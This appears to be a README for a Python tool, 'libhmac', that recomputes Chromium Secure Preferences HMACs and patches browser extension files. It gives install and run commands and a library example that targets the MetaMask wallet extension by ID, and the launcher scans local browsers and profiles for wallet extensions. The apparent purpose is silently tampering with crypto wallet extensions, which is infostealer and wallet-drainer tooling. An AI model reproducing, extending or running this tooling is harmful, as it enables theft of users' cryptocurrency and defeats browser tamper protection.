libhmac 1.1.0

Chromium Secure Preferences HMAC tooling and extension vault patching

libhmac-stack

Pip-installable libhmac library plus launcher.py orchestrator.

Layout

• src/libhmac/ — HMAC / Secure Preferences + extension vault patching
• launcher.py — scans browsers, profiles, wallet extension IDs; calls libhmac

Install

cd libhmac-stack
pip install -e .

Run launcher

python launcher.py
python launcher.py --username alice --skip-prefs

Library usage

from libhmac import PrefHashCalculator, PatchTarget, patch_extension_target, patch_profile

calc = PrefHashCalculator()
target = PatchTarget(
    browser_name="Chrome",
    browser_key="chrome",
    profile_name="Default",
    profile_path="/path/to/profile",
    extension_id="nkbihfbeogaeaoehlefnkodbefgpgknn",
    wallet_name="MetaMask",
    version_dir="/path/to/Extensions/nkbihf.../1.2.3",
)
result = patch_extension_target(target, calc)
patch_profile(target.profile_path, target.browser_key, calc)